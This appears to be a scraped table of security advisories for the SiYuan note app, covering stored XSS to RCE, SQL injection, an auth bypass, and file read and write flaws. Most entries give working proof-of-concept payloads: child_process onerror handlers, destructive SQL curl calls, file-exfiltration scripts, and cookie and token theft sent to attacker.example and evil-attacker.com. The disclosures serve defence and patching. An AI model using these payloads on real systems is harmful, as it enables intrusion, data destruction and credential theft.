<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" /> | open | osv:GHSA-xmw9-6r43-x9ww |
| critical | any | 3.6.2 | SiYuan: Stored XSS in Attribute View Gallery/Kanban Cover Rendering Allows Arbitrary Command Execution in Desktop Client ### Summary
An attacker who can place a malicious URL in an Attribute View `mAsse` field can trigger stored XSS when a victim opens the Gallery or Kanban view with “Cover From -> Asset Field” enabled. The vulnerable code accepts arbitrary `http(s)` URLs without extensions as images, stores the attacker-controlled string in `coverURL`, and injects it directly into an `<img src="...">` attribute without escaping. In the Electron desktop client, the injected JavaScript executes with `nodeIntegration` enabled and `contextIsolation` disabled, so the XSS reaches arbitrary OS command execution under the victim’s account.
### Details
The vulnerable flow is:
1. `IsPossiblyImage(assetPath)` accepts arbitrary `http(s)` URLs without validating that they are safe image URLs.
2. When an Attribute View card uses `Cover From -> Asset Field`, the application copies `asset.Content` directly into `galleryCard.CoverURL / kanbanCard.CoverURL`.
3. The front-end renderer inserts `coverURL` directly into `<img src="${getCompressURL(item.coverURL)}">` without escaping quotes or other attribute-breaking characters.
4. A payload such as `https://example.com/" onerror="require('child_process').exec('calc')` breaks out of the `src` attribute and adds an attacker-controlled `onerror` handler.
When the image fails to load, the injected JavaScript runs in the Electron renderer. Because the desktop app enables `nodeIntegration: true` and disables `contextIsolation` and `webSecurity`, that JavaScript can access Node.js APIs and execute system commands.
### PoC
1. Install Electron Desktop app.
2. Create a database / Attribute View with an mAsset column and add at least one row.
3. Add any legitimate image to that mAsset field so the entry is stored as type image.
4. Switch the view to Gallery or Kanban.
5.Set Cover From to Asset Field and choose the mAsset column.
6. Edit the existing image asset entry and replace its link with the following payload:
```
https://example.com/" onerror="require('child_process').exec('calc')
```
7. Save the change and reopen or refresh the Gallery / Kanban view.
8. Observe that the rendered HTML contains an injected onerror handler and the Calculator application starts on Windows.
Example rendered output:
```html
<img loading="lazy" class="av__gallery-img" src="https://example.com/" onerror="require('child_process').exec('calc')">
```
### Impact
An attacker can store malicious content in a database asset field and execute arbitrary JavaScript when another user opens the affected Gallery or Kanban view. In the desktop client, that JavaScript has access to Node.js APIs, so the impact is not limited to browser-context XSS. The payload executes OS commands with the victim’s local user privileges, which turns this into remote code execution on the desktop application once the malicious content is delivered and rendered. | fixed | osv:GHSA-rx4h-526q-4458 |
| critical | any | 0.0.0-20260407035653-2f416e5253f1 | SiYuan: Remote Code Execution in the Electron desktop client via stored XSS in synced table captions ### Summary
A malicious note synced to another user can trigger remote code execution in the SiYuan Electron desktop client. The root cause is that table caption content is stored without safe escaping and later unescaped into rendered HTML, creating a stored XSS sink. Because the desktop renderer runs with `nodeIntegration` enabled and `contextIsolation` disabled, attacker-controlled JavaScript executes with access to Node.js APIs. In practice, an attacker can import a crafted note into a synced workspace, wait for the victim to sync, and achieve code execution when the victim opens the note.
### Details
The vulnerability exists in the table caption handling path. When a table block is parsed, the `caption` attribute is saved into the node's IAL properties without proper HTML escaping. Later, during rendering, that value is read back, passed through HTML unescaping, and written directly into the output DOM. This turns an attacker-controlled caption into active HTML inside the rendered note.
I confirmed that a crafted table caption containing encoded HTML such as `<img src=x onerror=...>` is rendered as a live DOM element instead of inert text. This makes the issue a stored XSS. I also confirmed that the most practical delivery path is not Markdown import, but a crafted `.sy.zip` note imported into a synced workspace. Once synced to another desktop client, opening the note executes the payload automatically.
In the Electron desktop client, this XSS results in code execution rather than browser-only script execution. The renderer is configured with `nodeIntegration: true` and `contextIsolation: false`, so JavaScript running in the note context can call Node.js APIs directly. A payload such as `require('child_process').exec('calc')` executes successfully, demonstrating code execution on the victim machine in the context of the logged-in user.
### PoC
- SiYuan Desktop Client A: attacker
- SiYuan Desktop Client B: victim
- Both clients are configured to use the same sync target
### PoC File
I created a malicious `.sy.zip` note containing a table block with a crafted `caption` property.
Safe validation payload:
```html
<img src=x onerror=alert('caption-xss')>
```
RCE validation payload on Windows:
```html
<img src=x onerror=require('child_process').exec('calc')>
```
### Steps to Reproduce
1.On Client A, import the crafted `.sy.zip` note using:
`Import -> SiYuan .sy.zip`
2.Confirm the imported note appears in the workspace.
3.Trigger sync on Client A so the malicious note is uploaded to the shared sync target.
4.On Client B, trigger sync so the note is downloaded from the shared sync target.
5.Open the synced note on Client B.
### Observed Result
With the safe payload, JavaScript executes automatically when the victim opens the note.
With the RCE payload, the Electron renderer executes:
```js
require('child_process').exec('calc')
```
This launches Calculator on Windows, demonstrating code execution in the victim user's context.
### Impact
- Impact Across All Platforms: Stored XSS
- Electron Desktop App: Remote Code Execution | fixed | osv:GHSA-phhp-9rm9-6gr2 |
| critical | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet() ### Summary
A CSS snippet body containing `</style>` breaks out of its surrounding `<style>` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `</style><img src=x onerror="...">` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require('child_process')` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.
The bug also bypasses the user's `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.
### Details
Affected:
- HEAD `96dfe0b` (v3.6.5, 2026-04-21)
- Sink: `app/src/config/util/snippets.ts:32`
- Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json`
- Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27`
- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`
The write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `</style>` check, no type-specific validation:
```go
snippet := &conf.Snippet{
ID: m["id"].(string),
Name: m["name"].(string),
Type: m["type"].(string),
Content: m["content"].(string),
Enabled: m["enabled"].(bool),
}
```
Storage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer.
The renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `<style>` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event:
```ts
fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
response.data.snippets.forEach((item: ISnippet) => {
const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
if (item.type === "css") {
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
} else if (item.type === "js") {
// intentional script-loading path
}
});
});
```
`${item.content}` lands inside the `<style>` tag. The HTML parser closes the style on the first `</style>` substring and treats anything after as a sibling of the empty `<style>` element.
Worth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement("script")` and sets `el.text = item.content`. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a `<style>` element, and that's the bug.
#### Suggested fix
The cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`:
```ts
if (item.type === "css") {
const el = document.createElement("style");
el.id = id;
el.textContent = item.content;
document.head.appendChild(el);
}
```
`textContent` on a `<style>` element populates the CSS rules without invoking the HTML parser, so `</style>` in the body is a 4-character text node instead of a close tag.
If touching that line is undesirable, the smaller patch is to escape `<` before interpolation:
```ts
const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);
```
Either fix on its own closes the bug. Worth also rejecting `</style>` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe.
### PoC
Stand up SiYuan:
```bash
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
```
Plant the snippet:
```bash
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -X POST http://localhost:16806/api/snippet/setSnippet \
-H "Content-Type: application/json" \
-H "Authorization: Token $TOKEN" \
-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'
```
Returns `{"code":0,"msg":"","data":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim.
Open `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools:
```js
({
markerFired: window.__siyuan_xss === true,
styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
imgsInHead: document.head.querySelectorAll('img').length,
snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})
```
Result from my run on 2026-05-19 against `b3log/siyuan:latest`:
```json
{
"markerFired": true,
"styleCount": 1,
"imgsInHead": 1,
"snippetStyleEmpty": true
}
```
`document.title` is `SIYUAN_XSS`. The `<style>` exists but closed empty on the first `</style>`. The smuggled `<img>` is a sibling in `<head>`. The injected `onerror` ran arbitrary JS.
To turn it into RCE on Electron, swap the marker payload for:
```html
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
```
`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.
### Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload.
The bug also silently bypasses the user's snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway. | fixed | osv:GHSA-mvjr-vv3c-w4qv |
| critical | any | \u2014 | SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API ## Summary
SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the `/api/search/fullTextSearchBlock` endpoint. When the `method` parameter is set to `2`, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the `Reader` role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.
This is inconsistent with the application's own security model: the dedicated SQL endpoint (`/api/query/sql`) correctly requires both `CheckAdminRole` and `CheckReadonly` middleware, but the search endpoint bypasses these controls entirely.
## Root Cause Analysis
### The Vulnerable Endpoint
**File:** `kernel/api/router.go`, line 188
```go
ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)
```
This endpoint only applies `model.CheckAuth`, which permits **any** authenticated role (Administrator, Editor, or Reader).
### The Properly Protected Endpoint (for comparison)
**File:** `kernel/api/router.go`, line 177
```go
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)
```
This endpoint correctly chains `CheckAdminRole` and `CheckReadonly`, restricting SQL execution to administrators in read-write mode.
### The Vulnerable Code Path
**File:** `kernel/api/search.go`, lines 389-411
```go
func fullTextSearchBlock(c *gin.Context) {
// ...
page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=
model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
// ...
}
```
**File:** `kernel/model/search.go`, lines 1205-1206
```go
case 2: // SQL
blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)
```
When `method=2`, the raw `query` string is passed directly to `searchBySQL()`.
**File:** `kernel/model/search.go`, lines 1460-1462
```go
func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {
stmt = strings.TrimSpace(stmt)
blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)
```
**File:** `kernel/sql/block_query.go`, lines 566-569, 713-714
```go
func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {
parsedStmt, err := sqlparser.Parse(stmt)
if err != nil {
return selectBlocksRawStmt(stmt, limit) // Falls through to raw execution
}
// ...
}
func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {
rows, err := query(stmt) // Executes arbitrary SQL
// ...
}
```
**File:** `kernel/sql/database.go`, lines 1327-1337
```go
func query(query string, args ...interface{}) (*sql.Rows, error) {
// ...
return db.Query(query, args...) // Go's database/sql db.Query — executes ANY SQL
}
```
Go's `database/sql` `db.Query()` will execute any SQL statement, including `DELETE`, `UPDATE`, `DROP TABLE`, `INSERT`, etc. The returned `*sql.Rows` will simply be empty for non-SELECT statements, but the destructive operation is still executed.
### Authorization Model
**File:** `kernel/model/session.go`, lines 201-210
```go
func CheckAuth(c *gin.Context) {
// Already authenticated via JWT
if role := GetGinContextRole(c); IsValidRole(role, []Role{
RoleAdministrator,
RoleEditor,
RoleReader, // <-- Reader role passes CheckAuth
}) {
c.Next()
return
}
// ...
}
```
**File:** `kernel/model/session.go`, lines 380-386
```go
func CheckAdminRole(c *gin.Context) {
if IsAdminRoleContext(c) {
c.Next()
} else {
c.AbortWithStatus(http.StatusForbidden) // <-- This check is MISSING on the search endpoint
}
}
```
## Proof of Concept
### Prerequisites
- SiYuan instance accessible over the network (e.g., Docker deployment)
- Valid authentication as any user role (including `Reader`)
### Steps to Reproduce
1. Authenticate to SiYuan and obtain a valid session cookie or API token.
2. **Read all data (confidentiality breach):**
```bash
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"method": 2, "query": "SELECT * FROM blocks LIMIT 100"}'
```
3. **Delete all blocks (integrity/availability breach):**
```bash
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"method": 2, "query": "DELETE FROM blocks"}'
```
4. **Drop tables (availability breach):**
```bash
curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"method": 2, "query": "DROP TABLE blocks"}'
```
5. **Compare with the properly protected endpoint** (should return HTTP 403 for Reader role):
```bash
curl -X POST http://<target>:6806/api/query/sql \
-H "Content-Type: application/json" \
-H "Authorization: Token <reader_token>" \
-d '{"stmt": "SELECT * FROM blocks LIMIT 10"}'
```
### Expected Behavior
The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with `/api/query/sql`.
### Actual Behavior
Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.
## Impact
In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):
- **Confidentiality:** A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.
- **Integrity:** A Reader-role user can modify or delete any data in the database, despite having read-only access by design.
- **Availability:** A Reader-role user can drop tables or corrupt the database, rendering the application unusable.
## Suggested Fix
Add `CheckAdminRole` and `CheckReadonly` middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when `method=2`:
**Option A — Restrict method=2 to admin (recommended):**
In `kernel/api/search.go`, add a role check when `method=2`:
```go
func fullTextSearchBlock(c *gin.Context) {
// ...
page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
// SQL mode requires admin privileges, consistent with /api/query/sql
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Code = -1
ret.Msg = "SQL search requires administrator privileges"
return
}
// ...
}
```
**Option B — Enforce SELECT-only for non-admin users:**
Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator. | open | osv:GHSA-j7wh-x834-p3r7 |
| critical | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist ## Summary
SiYuan Note's kernel HTTP server unconditionally trusts all `chrome-extension://` origins, granting `RoleAdministrator` access to every installed browser extension without any authentication. Combined with the default empty `AccessAuthCode` on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at `127.0.0.1:6806`, enabling data exfiltration, stored XSS injection, and configuration tampering.
## Affected Versions
SiYuan <= v3.6.5 (commit `96dfe0bea474`). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (`d7b77d945e0d`).
## Vulnerability Details
### Blanket chrome-extension:// Origin Trust (CWE-346)
In `kernel/model/session.go:277`, the `CheckAuth` middleware exempts all `chrome-extension://` origins from authentication:
```go
if strings.HasPrefix(origin, "chrome-extension://") {
// skip auth
}
```
At `session.go:284`, the request is assigned `RoleAdministrator`:
```go
c.Set("role", model.RoleAdministrator)
```
The `AccessAuthCode` field defaults to an empty string for desktop installs (`ContainerStd`). When empty, no token validation occurs. This means **any** Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.
The origin check trusts the entire `chrome-extension://` scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit `host_permissions`) can access all admin endpoints.
## Proof of Concept
**Unauthenticated admin API access via browser extension:**
A minimal Chrome extension with only default permissions:
```json
{
"manifest_version": 3,
"name": "SiYuan PoC",
"version": "1.0",
"background": {
"service_worker": "bg.js"
}
}
```
```javascript
// bg.js -- runs as chrome-extension://<id>
// No special host_permissions needed; localhost is accessible by default
// 1. Verify admin access
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
}).then(r => r.json()).then(data => {
console.log('[PoC] Admin API access confirmed:', data.code === 0);
});
// 2. Exfiltrate workspace data
fetch('http://127.0.0.1:6806/api/query/sql', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' })
}).then(r => r.json()).then(data => {
console.log('[PoC] Exfiltrated blocks:', data.data?.length);
});
// 3. Inject stored XSS payload into a note
fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ notebook: '', path: '/' })
}).then(r => r.json()).then(tree => {
const firstDoc = tree.data?.files?.[0];
if (!firstDoc) return;
fetch('http://127.0.0.1:6806/api/block/insertBlock', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
dataType: 'markdown',
data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">',
parentID: firstDoc.id
})
});
});
```
The extension requires zero special permissions. The `chrome-extension://` origin header is automatically sent by the browser, and `session.go:277` grants it `RoleAdministrator` without any token check.
## Impact
- **Unauthenticated admin API access** for any installed browser extension, enabling full control of the SiYuan kernel
- **Data exfiltration** of the entire workspace via `/api/query/sql`, `/api/filetree/`, `/api/export/`
- **Stored XSS injection** via admin API endpoints (`/api/block/insertBlock`, `/api/attr/setBlockAttrs`), persisted in the user's notes
- **Configuration tampering** via `/api/system/setConf`, enabling persistence and further attack surface expansion
- **Supply chain amplification**: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user
## Suggested Remediation
**Remove blanket chrome-extension:// allowlist:**
```diff
--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
func CheckAuth(c *gin.Context) {
origin := c.GetHeader("Origin")
- if strings.HasPrefix(origin, "chrome-extension://") {
- // Allow chrome extension requests
- } else
if !isValidOrigin(origin) {
c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"})
return
```
If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API. | fixed | osv:GHSA-hvr9-72v2-fff3 |
| critical | any | \u2014 | SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service ### Summary
In SiYuan, `/api/lute/html2BlockDOM` on the desktop copies local files pointed to by `file://` links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with `GET /assets/*path`, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.
### Details
#### 1. Arbitrary local files copied into workspace
- **Endpoint**: `POST /api/lute/html2BlockDOM`, protected only by `model.CheckAuth`; publish read-only role is not restricted.
- **Behavior**: On desktop (`util.ContainerStd == model.Conf.System.Container`), local absolute paths from `<a href="file://...">` in the HTML are copied to `{DataDir}/assets/`.
- **Missing check**: The code does not call `util.IsSensitivePath(localPath)` before copying, so any readable file (e.g. `/etc/passwd`, `~/.ssh/id_rsa`) can be copied into assets.
#### 2. Direct access to assets via GET
- **Endpoint**: `GET /assets/*path` (`kernel/server/serve.go`), protected only by `model.CheckAuth`; no publish-scope or admin check.
- **Behavior**: The path is resolved with `model.GetAssetAbsPath("assets" + path)` and the file is served with `http.ServeFile`; any authenticated request (including publish visitors) can access existing asset files.
- **Attack chain**: The visitor calls html2BlockDOM to copy a sensitive file into `data/assets/`, extracts `data-href="assets/xxx"` from the returned DOM, then requests `GET /assets/xxx` to retrieve the file content.
### PoC
```javascript
// Run in the browser devtools console while on the SiYuan publish service
(async () => {
try {
// Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32)
const sensitiveFiles = [
'file:///etc/passwd',
'file:///etc/group',
'file:///C:/Windows/System32/drivers/etc/hosts',
'file:///C:/Windows/System32/drivers/etc/services',
];
const dom = '<p>' + sensitiveFiles.map(f => `<a href="${f}">x</a>`).join(' ') + '</p>';
const r1 = await fetch('/api/lute/html2BlockDOM', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ dom }),
credentials: 'same-origin',
});
const { data } = await r1.json();
const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]);
for (const p of paths) {
const r2 = await fetch('/' + p, { credentials: 'same-origin' });
if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text()));
}
} catch (_) {}
})();
```
### Impact
With only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment. | open | osv:GHSA-fq2j-j8hc-8vw8 |
| critical | any | \u2014 | SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE ## Summary
The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.
- Affected Version: 3.5.3 (and likely all prior versions)
## Details
- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location: `kernel/api/file.go` - copyFile function
```go
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
// ...
src := arg["src"].(string)
src, err := model.GetAssetAbsPath(src) // src is validated
// ...
dest := arg["dest"].(string) // dest is NOT validated!
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
```
The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.
## PoC
### Step 1: Upload malicious content to workspace
```bash
curl -X POST "http://target:6806/api/file/putFile" \
-H "Authorization: Token <API_TOKEN>" \
-F "path=/data/assets/malicious.sh" \
-F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
```
### Step 2: Copy to arbitrary location (e.g., /tmp)
```bash
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
```
Response: `{"code":0,"msg":"","data":null}`
### Step 3: Verify file was written outside workspace
```bash
cat /tmp/malicious.sh
# Output: #!/bin/sh
# id > /tmp/pwned.txt
# hostname >> /tmp/pwned.txt
```
## Attack Scenarios
| Target Path | Impact |
|-------------|--------|
| `/etc/cron.d/backdoor` | Scheduled command execution (RCE) |
| `~/.ssh/authorized_keys` | Persistent SSH access |
| `~/.bashrc` | Command execution on user login |
| `/etc/ld.so.preload` | Shared library injection |
### RCE Demonstration
RCE was successfully demonstrated by writing a script and executing it:
```bash
# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...
```
## Impact
An authenticated attacker (with API Token) can:
1. Achieve Remote Code Execution with the privileges of the SiYuan process
2. Establish persistent backdoor access via SSH keys
3. Compromise the entire host system
4. Access sensitive data on the same network (lateral movement)
## Suggested Fix
Add path validation to ensure `dest` is within the workspace directory:
```go
func copyFile(c *gin.Context) {
// ...
dest := arg["dest"].(string)
// Add validation
if !util.IsSubPath(util.WorkspaceDir, dest) {
ret.Code = -1
ret.Msg = "dest path must be within workspace"
return
}
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
```
## Solution
d7f790755edf8c78d2b4176171e5a0cdcd720feb | open | osv:GHSA-c4jr-5q7w-f6r9 |
| critical | any | 3.6.2 | SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection ### Summary
A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.
### Details
**Vulnerable files:**
- `kernel/server/serve.go`, lines 960-963 — CORS middleware
- `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint
**Root cause:** The CORS middleware unconditionally sets:
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
```
The `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.
The auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.
**Attack chain:**
1. User visits `https://evil-attacker.com` while SiYuan desktop is running
2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers
3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie
4. SiYuan accepts the request and saves a malicious JS snippet
5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution
### PoC
**Malicious webpage (hosted on any domain):**
```html
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
snippets: [{
id: 'exploit-' + Date.now(),
name: 'system-update',
type: 'js',
content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
enabled: true
}]
})
}).then(r => r.json()).then(d => {
console.log('Snippet injected:', d);
});
// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
// Send API token and config to attacker server
fetch('https://evil-attacker.com/collect', {
method: 'POST',
body: JSON.stringify(d.data)
});
});
</script>
</body>
</html>
```
**Verification steps:**
1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)
2. Login to SiYuan in a browser to establish a session cookie
3. In the same browser, navigate to the malicious page
4. Verify snippet was injected:
```bash
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
-H "Content-Type: application/json" \
-b <session-cookie> \
-d '{"type":"all","enabled":2}'
```
**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated — all in a single page load.
### Impact
- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.
- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts. | fixed | osv:GHSA-68p4-j234-43mv |
| critical | any | 0.0.0-20260304034809-d68bd5a79391 | SiYuan: Unauthenticated Reflected XSS via SVG Injection in /api/icon/getDynamicIcon Endpoint ### Summary
An unauthenticated reflected XSS vulnerability exists in the dynamic icon API endpoint:
- `GET /api/icon/getDynamicIcon`
When `type=8`, attacker-controlled `content` is embedded into SVG output without escaping. Because the endpoint is unauthenticated and returns `image/svg+xml`, a crafted URL can inject executable SVG/HTML event handlers (for example `onerror`) and run JavaScript in the SiYuan web origin.
